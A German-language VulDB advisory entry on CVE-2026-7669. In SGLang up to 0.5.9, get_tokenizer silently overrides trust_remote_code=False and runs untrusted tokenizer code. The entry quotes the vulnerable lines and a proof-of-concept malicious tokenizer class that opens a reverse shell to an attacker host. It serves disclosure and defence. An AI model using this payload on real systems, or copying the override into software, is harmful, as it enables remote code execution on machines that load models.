sgl-project SGLang bis 0.5.9 HuggingFace Transformer hf_transformers_utils.py get_tokenizer trust_remote_code erweiterte Rechte

CVSS Meta Temp ScoreAktueller Exploitpreis (≈)CTI Interest Score
6.9$0-$5k0.00

Zusammenfassunginfo

Eine Schwachstelle, die als kritisch eingestuft wurde, wurde in sgl-project SGLang bis 0.5.9 gefunden. Betroffen davon ist die Funktion get_tokenizer der Datei python/sglang/srt/utils/hf_transformers_utils.py der Komponente HuggingFace Transformer Handler. Durch Beeinflussen des Arguments trust_remote_code mit der Eingabe False durch Boolean kann eine erweiterte Rechte-Schwachstelle ausgenutzt werden. Diese Verwundbarkeit ist als CVE-2026-7669 gelistet. Umgesetzt werden kann der Angriff über das Netzwerk. Ferner existiert ein Exploit.

Detailsinfo

In sgl-project SGLang bis 0.5.9 (Artificial Intelligence Software) wurde eine kritische Schwachstelle ausgemacht. Betroffen ist die Funktion get_tokenizer der Datei python/sglang/srt/utils/hf_transformers_utils.py der Komponente HuggingFace Transformer Handler. Mittels Manipulieren des Arguments trust_remote_code mit der Eingabe False kann eine erweiterte Rechte-Schwachstelle ausgenutzt werden. CWE definiert das Problem als CWE-94. Dies hat Einfluss auf Vertraulichkeit, Integrität und Verfügbarkeit. Das Advisory fasst zusammen:

SGLang pins transformers==5.3.0 in pyproject.toml. Every current SGLang installation is affected. Both tokenizer_mode=\"auto\" (default) and tokenizer_mode=\"slow\" are vulnerable.

Gefunden wurde das Problem am 07.04.2026. Die Schwachstelle wurde durch Nicholas Gould, David Rochester (ngould und davidrochester) öffentlich gemacht. Im Advisory ist nachzulesen:

trust_remote_code=False is an explicit security boundary. The user sets it to prevent code execution from untrusted models. SGLang silently overrides it, executing code in a context the user explicitly prohibited.
Die Verwundbarkeit wird als CVE-2026-7669 geführt. Sie gilt als schwierig ausnutzbar. Der Angriff kann über das Netzwerk angegangen werden. Um eine Ausnutzung durchzusetzen, muss keine spezifische Authentisierung umgesetzt werden. Es sind technische Details sowie ein öffentlicher Exploit zur Schwachstelle bekannt. Als Angriffstechnik weist das MITRE ATT&CK Projekt die ID T1059 aus. Die Schwachstelle entsteht durch folgenden Code:
# python/sglang/srt/utils/hf_transformers_utils.py:898-909                                                                                                                                                
  if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
      tokenizer = AutoTokenizer.from_pretrained(
          tokenizer_name,
          *args,                                                                                                                                                                                            
          trust_remote_code=True,
          tokenizer_revision=tokenizer_revision,                                                                                                                                                            
          clean_up_tokenization_spaces=False,                                                                                                                                                               
          **kwargs,
      )
Das Advisory weist darauf hin:
On the first call with trust_remote_code=False, transformers returns TokenizersBackend without executing the .py file. SGLang detects this, silently retries with trust_remote_code=True, and transformers executes tokenizer.py.

Ein öffentlicher Exploit wurde durch Nicholas Gould/David Rochester (gouldnicholas/davidrxchester) in Python umgesetzt. Der Exploit wird unter github.com zur Verfügung gestellt. Er wird als proof-of-concept gehandelt. Mindestens 25 Tage galt die Schwachstelle als nicht öffentlicher Zero-Day. Während dieser Zeit erzielte er wohl etwa auf dem Schwarzmarkt. Der durch den Exploit genutzte Code gestaltet sich wie folgt:

import os, pathlib                                                                                                                                                                                        
  from transformers import PreTrainedTokenizerFast                                                                                                                                                          
   
  class MaliciousTokenizer(PreTrainedTokenizerFast):                                                                                                                                                        
      def __init__(self, *args, **kwargs):
          pathlib.Path("/tmp/sglang_rce_marker").write_text("pwned")                                                                                                                                        
          host = os.environ.get("ATTACKER_HOST")                                                                                                                                                            
          if host:
              import socket                                                                                                                                                                                 
              s = socket.socket()
              s.connect((host, int(os.environ.get("ATTACKER_PORT", "4444"))))                                                                                                                               
              os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)                                                                                                                        
              os.execve("/bin/sh", ["sh"], os.environ)                                                                                                                                                      
          super().__init__(*args, **kwargs)
Das Advisory zeigt auf:
The PoC runs 7 phases producing 29 individually testable claims. The four core proof phases isolate the bug to lines 898-909: Phase 1 confirms transformers respects False (rules out an upstream bug); Phase 1b confirms sglang with those 9 lines stripped respects False (isolates the cause); Phase 2 confirms unpatched sglang overrides it; Phase 2b confirms the strip is surgical (explicit True still loads). Phases 3-5 add slow-mode coverage, severity context, and a chain-reachability check that confirms UI:R stands and 8.8 High is the correct CVSS.

Es sind keine Informationen bezüglich Gegenmassnahmen bekannt. Der Einsatz eines alternativen Produkts bietet sich im Zweifelsfall an.

Unter anderem wird der Fehler auch in der Verwundbarkeitsdatenbank von EUVD (EUVD-2026-26802) dokumentiert. Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Produktinfo

Typ

Hersteller

Name

Version

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔒
VulDB Zuverlässigkeit: 🔍

CVSSv3info

VulDB Meta Base Score: 7.2
VulDB Meta Temp Score: 6.9

VulDB Base Score: 5.6
VulDB Temp Score: 5.1
VulDB Vector: 🔒
VulDB Zuverlässigkeit: 🔍

Person Base Score: 8.8
Person Vector: 🔒

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VektorKomplexitätAuthentisierungVertraulichkeitIntegritätVerfügbarkeit
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten

VulDB Base Score: 🔒
VulDB Temp Score: 🔒
VulDB Zuverlässigkeit: 🔍

Person Base Score: 🔒

Exploitinginfo

Klasse: Erweiterte Rechte
CWE: CWE-94 / CWE-74 / CWE-707
CAPEC: 🔒
ATT&CK: 🔒

Physisch: Nein
Lokal: Nein
Remote: Ja

Verfügbarkeit: 🔒
Zugang: öffentlich
Status: Proof-of-Concept
Autor: Nicholas Gould/David Rochester (gouldnicholas/davidrxchester)
Programmiersprache: 🔒
Download: 🔒

EPSS Score: 🔒
EPSS Percentile: 🔒

Preisentwicklung: 🔍
Aktuelle Preisschätzung: 🔒

0-Dayfreischaltenfreischaltenfreischaltenfreischalten
Heutefreischaltenfreischaltenfreischaltenfreischalten

Threat Intelligenceinfo

Interesse: 🔍
Aktive Akteure: 🔍
Aktive APT Gruppen: 🔍

Gegenmassnahmeninfo

Empfehlung: keine Massnahme bekannt
Status: 🔍

0-Day Time: 🔒
Exploit Delay Time: 🔍

Timelineinfo

07.04.2026 Schwachstelle gefunden
07.04.2026 +0 Tage Hersteller informiert
02.05.2026 +24 Tage Advisory veröffentlicht
02.05.2026 +0 Tage VulDB Eintrag erstellt
03.05.2026 +1 Tage Exploit veröffentlicht
04.05.2026 +1 Tage VulDB Eintrag letzte Aktualisierung

Quelleninfo

Person: Nicholas Gould, David Rochester (ngould, davidrochester)
Status: Nicht definiert

CVE: CVE-2026-7669 (🔒)
GCVE (CVE): GCVE-0-2026-7669
GCVE (VulDB): GCVE-100-360817
EUVD: 🔒
scip Labs: https://www.scip.ch/?labs.20161013

Eintraginfo

Erstellt: 02.05.2026 10:05
Aktualisierung: 04.05.2026 06:26
Anpassungen: 02.05.2026 10:05 (54), 03.05.2026 04:01 (1), 04.05.2026 06:23 (51), 04.05.2026 06:26 (8)
Komplett: 🔍
Einsender: ngould
Editor: ngould
Cache ID: 216::103

Submitinfo

Akzeptiert

  • Submit #799263: sgl-project sglang <=0.5.9 Protection Mechanism Failure (von ngould)

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Diskussion

Bisher keine Kommentare. Sprachen: de + en.

Bitte loggen Sie sich ein, um kommentieren zu können.

Do you know our Splunk app?

Download it now for free!